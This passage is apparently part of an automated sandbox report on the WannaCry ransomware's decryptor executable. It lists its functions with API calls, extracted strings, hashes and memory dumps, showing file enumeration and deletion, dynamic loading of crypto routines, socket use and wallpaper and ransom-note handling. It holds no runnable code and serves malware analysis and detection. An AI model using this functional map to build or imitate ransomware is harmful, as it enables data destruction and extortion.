                                        • Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                        • Instruction ID: 1789da96975510f8b15a36ac976bc3503c656fbbd280c19756f03076dd05f2b6
                                        • Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                        • Instruction Fuzzy Hash: AFB008360193D6ABCB12DE91890196ABAA2BB98305F484C1DB2A50146187668568AB16

                                        Non-executed Functions

                                        Function 004026B0 Relevance: 54.6, APIs: 26, Strings: 5, Instructions: 318fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 334 4026b0-40274b call 40c8f0 * 2 swprintf FindFirstFileW 339 4027b4-4027bc 334->339 340 40274d-4027af call 402e00 #825 call 402e00 #825 334->340 342 4027c2-4027ca 339->342 356 402ace-402ae4 340->356 344 4027d4-4027e8 wcscmp 342->344 345 4027cc-4027ce 342->345 348 40295d-402972 FindNextFileW 344->348 349 4027ee-402802 wcscmp 344->349 345->344 347 402978-40298b FindClose 345->347 351 4029b9-4029c1 347->351 352 40298d-402995 347->352 348->342 348->347 349->348 353 402808-402838 swprintf GetFileAttributesW 349->353 354 4029c3-4029cb 351->354 355 4029ef-402a4d swprintf DeleteFileW swprintf DeleteFileW 351->355 357 402997-402999 352->357 358 40299b-4029a0 352->358 359 4028b6-4028ca wcscmp 353->359 360 40283a-402850 call 402af0 353->360 362 4029d1-4029d6 354->362 363 4029cd-4029cf 354->363 364 402a6a-402a92 #825 355->364 365 402a4f-402a64 call 402e90 355->365 357->351 357->358 367 4029a2 358->367 368 4029a7-4029b7 call 402560 358->368 359->348 361 4028d0-4028e4 wcscmp 359->361 360->348 380 402856-4028b1 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z call 402da0 360->380 361->348 369 4028e6-4028fa wcscmp 361->369 370 4029d8 362->370 371 4029dd-4029ed call 4026b0 362->371 363->355 363->362 374 402a94-402ab8 call 402d90 call 402e90 364->374 375 402aba-402acd #825 364->375 386 402a66 365->386 367->368 368->351 368->352 369->348 377 4028fc-402953 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z call 402da0 369->377 370->371 371->354 371->355 374->375 375->356 391 402957 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 377->391 380->391 386->364 391->348
                                        APIs
                                          • Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2
                                        • swprintf.MSVCRT ref: 00402728
                                        • FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
                                        • #825.MFC42(?,?,?,?), ref: 0040276F
                                          • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                        • #825.MFC42(?), ref: 004027A5
                                        • wcscmp.MSVCRT ref: 004027E1
                                        • wcscmp.MSVCRT ref: 004027FB
                                        • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
                                        • GetFileAttributesW.KERNEL32(?), ref: 00402830
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
                                        • wcslen.MSVCRT ref: 0040286E
                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
                                        • FindNextFileW.KERNEL32(?,?), ref: 0040296A
                                        • FindClose.KERNEL32(?), ref: 0040297D
                                          • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #825$FileFindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@swprintfwcscmp$#823?assign@?$basic_string@AttributesCloseFirstNextV12@wcslen
                                        • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                        • API String ID: 1037557366-268640142
                                        • Opcode ID: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                        • Instruction ID: 208863b35b678a93ee2eb357de9df0ae1c195017ff787e099a5ee1d1e2129eec
                                        • Opcode Fuzzy Hash: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                        • Instruction Fuzzy Hash: 48C163B16083419FC720DF64CD84AEBB7E8ABD8304F44492EF595A3291E778E944CF66
                                        Function 004020A0 Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 359filetimeCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
                                        • GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
                                        • ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
                                        • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
                                        • ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
                                        • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
                                        • ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
                                        • CloseHandle.KERNEL32(00000000), ref: 00402234
                                        • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
                                        • SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
                                        • ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
                                        • _local_unwind2.MSVCRT ref: 00402452
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$Read$Create$CloseHandlePointerTime_local_unwind2
                                        • String ID: WANACRY!
                                        • API String ID: 1586634678-1240840912
                                        • Opcode ID: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                        • Instruction ID: 3da7a8628a1c4a9b72cf23ccbc301ae3d1bdd94b5a24a93ab77a4db798f2c342
                                        • Opcode Fuzzy Hash: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                        • Instruction Fuzzy Hash: 91D14471A00214AFDB20DB64CC89FEBB7B8FB88710F14466AF619B61D0D7B49945CF68
                                        Function 004035A0 Relevance: 36.2, APIs: 24, Instructions: 175windowclipboardmemoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
                                        • OpenClipboard.USER32(?), ref: 004035E9
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
                                        • #3301.MFC42(?,00000000,00000000), ref: 0040361A
                                        • #924.MFC42 ref: 00403635
                                        • #800.MFC42 ref: 00403646
                                        • #800.MFC42 ref: 00403665
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
                                        • GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
                                        • GlobalLock.KERNEL32(00000000), ref: 0040369C
                                        • GlobalFree.KERNEL32(00000000), ref: 004036AB
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
                                        • #3301.MFC42(?,00000000,00000000), ref: 004036E7
                                        • #924.MFC42(00000000), ref: 00403702
                                        • #800.MFC42(00000000), ref: 00403713
                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
                                        • wcslen.MSVCRT ref: 00403753
                                        • wcslen.MSVCRT ref: 0040377B
                                        • #800.MFC42 ref: 00403797
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
                                        • GlobalUnlock.KERNEL32(00000000), ref: 004037CE
                                        • EmptyClipboard.USER32 ref: 004037D4
                                        • SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
                                        • CloseClipboard.USER32 ref: 004037E3
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#800ClipboardGlobal$#3301#924wcslen$AllocByteCharCloseDataEmptyFreeLockMultiOpenUnlockWide
                                        • String ID:
                                        • API String ID: 3405503685-0
                                        • Opcode ID: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                        • Instruction ID: c86228cefcec1f34603e32cf9825c4429cf2ad1f23db843e272d7cdac5f24a66
                                        • Opcode Fuzzy Hash: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                        • Instruction Fuzzy Hash: 0151E571204706ABD320DF64DC45FEBB7A8FB88754F10462DF249A72D0DB749909CBAA
                                        Function 00403CB0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122filewindowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Find$FileMessageSend$#823CloseFirstNextfclosefopenfreadsprintfsscanf
                                        • String ID: %08X.res$*.res$My Computer$\$\
                                        • API String ID: 1476605332-298172004
                                        • Opcode ID: e7d60ef9c1856895ef116a6a5a4c73b4dd5c7b1159c6abcdc394c11f2446cc8f
                                        • Instruction ID: 8c176cb2dc152f679f03352499a178afa0a04d74b0fbd326e0cc20a81f44b8b1
                                        • Opcode Fuzzy Hash: e7d60ef9c1856895ef116a6a5a4c73b4dd5c7b1159c6abcdc394c11f2446cc8f
                                        • Instruction Fuzzy Hash: F741C671508300ABE710CB54DC45FEB7799EFC4715F404A2DF984A62C1E7B8EA498B9A
                                        Function 00404B70 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                        Download Yara Rule
                                        APIs
                                        • LoadLibraryA.KERNEL32(advapi32.dll,?,00402C46), ref: 00404B86
                                        • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00404BA3
                                        • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00404BB0
                                        • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00404BBD
                                        • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00404BCA
                                        • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00404BD7
                                        • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00404BE4
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: AddressProc$LibraryLoad
                                        • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                        • API String ID: 2238633743-2459060434
                                        • Opcode ID: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                        • Instruction ID: 00e3496518ad86b0ae3e163ac91477e164a9cb94f9785d2b2dfdbbcf4affa7e0
                                        • Opcode Fuzzy Hash: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                        • Instruction Fuzzy Hash: 441182B074635196D738AB67FD14AA726D4EFE1B01B85053BE401D3AB0C7B888028A9C
                                        Function 004080C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Find$#537File$CloseFirstNextfclosefopenfreadsprintfsscanf
                                        • String ID: %08X.res$*.res$---%s%s%d%I64d%d
                                        • API String ID: 1530363904-2310201135
                                        • Opcode ID: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                        • Instruction ID: f4d275e2d06bc6c2fe64a46714bc06f3fac9236f3415a442fab0096444624429
                                        • Opcode Fuzzy Hash: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                        • Instruction Fuzzy Hash: F051B370604740ABD634CB24DD45BEF77E9EFC4314F00492EF98897291DB78AA098B9A
                                        Function 0040D6A0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • htons.WS2_32 ref: 0040D6C7
                                        • socket.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
                                        • bind.WS2_32(00000000,?,00000010), ref: 0040D709
                                        • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D728
                                        • connect.WS2_32(00000000,?,00000010), ref: 0040D73A
                                        • select.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
                                        • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D791
                                        • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D7A3
                                        • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D7BB
                                        • setsockopt.WS2_32(00000000), ref: 0040D7DD
                                        • setsockopt.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
                                        • closesocket.WS2_32(00000000), ref: 0040D80E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: ioctlsocketsetsockopt$bindclosesocketconnecthtonsselectsocket
                                        • String ID: `
                                        • API String ID: 478405425-1850852036
                                        • Opcode ID: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                        • Instruction ID: 6de462713d41b41c0891f3cf9d152f402d0f08cb5dc9382bbec9442f00cca922
                                        • Opcode Fuzzy Hash: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                        • Instruction Fuzzy Hash: 83418372504341AED320DF55DC84EEFB7E8EFC8714F40892EF558D6290E7B495088BAA
                                        Function 00411CF0 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID:
                                        • String ID: /../$/..\$\../$\..\
                                        • API String ID: 0-3885502717
                                        • Opcode ID: 609ee301a0957fc1d178a82fd6ad0030074ae851484ad2f13760bdfbe56840fa
                                        • Instruction ID: 7e1d0207c54717434a39a3e8c1400c014a600b9e0d7efc558eb6bad2cf7342ef
                                        • Opcode Fuzzy Hash: 609ee301a0957fc1d178a82fd6ad0030074ae851484ad2f13760bdfbe56840fa
                                        • Instruction Fuzzy Hash: FAF138756043414FC724CF2888817EBBBE1ABD8304F18892EEDD9CB351D679E989C799
                                        Function 00407E80 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
                                        • wcslen.MSVCRT ref: 00407EF4
                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
                                        • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: ByteCharCopyFileFolderInfoMultiParametersPathSystemWideswprintfwcslen
                                        • String ID: %s\%s$@WanaDecryptor@.bmp$b.wnry
                                        • API String ID: 13424474-2236924158
                                        • Opcode ID: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                        • Instruction ID: 08a18ced9c3675786ff634b79335ab73d5ba80fa93599351ce40df3d96d25247
                                        • Opcode Fuzzy Hash: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                        • Instruction Fuzzy Hash: 7E21F075204304BAE36087A4CC05FE773AAAFD4700F508938B359961E1EAB16154875B
                                        Function 004067F0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
                                        • String ID:
                                        • API String ID: 1397574227-0
                                        • Opcode ID: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                        • Instruction ID: db6533e43e067d2e1cb08ff7c7a85c8aaf9a8b82d3d45c58550572c7a5875683
                                        • Opcode Fuzzy Hash: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                        • Instruction Fuzzy Hash: 45117F712146069FC214DF38DD49DEBB7E9FBC8304F488A2DF58AC3290DA74E8058B95
                                        Function 0040B3C0 Relevance: 12.2, APIs: 8, Instructions: 203COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                        • Instruction ID: 0dbcc5357461fba905cfbac0272349747bc27b8ce320a87ccfe5983878451c5e
                                        • Opcode Fuzzy Hash: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                        • Instruction Fuzzy Hash: 7A61D5316043158BC705DE2998919ABB7E6FFC8704F04497EFC89BB345C738AA06CB99
                                        Function 00407C30 Relevance: 12.0, APIs: 8, Instructions: 48clipboardmemoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • OpenClipboard.USER32(?), ref: 00407C38
                                        • GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
                                        • CloseClipboard.USER32 ref: 00407C5B
                                        • EmptyClipboard.USER32 ref: 00407C66
                                        • GlobalLock.KERNEL32(00000000), ref: 00407C79
                                        • GlobalUnlock.KERNEL32(00000000), ref: 00407C92
                                        • SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
                                        • CloseClipboard.USER32 ref: 00407CA1
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Clipboard$Global$Close$AllocDataEmptyLockOpenUnlock
                                        • String ID:
                                        • API String ID: 142981918-0
                                        • Opcode ID: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                        • Instruction ID: 8252ba06fde5d142781bbccc432981ef86be9671d894a3679d09edf034c0945c
                                        • Opcode Fuzzy Hash: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                        • Instruction Fuzzy Hash: 1D014B71740A05DFD714ABA5EC8DAFBB7A9FB88356B908079F54AC3350CF61AC048B64
                                        Function 004047C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                          • Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
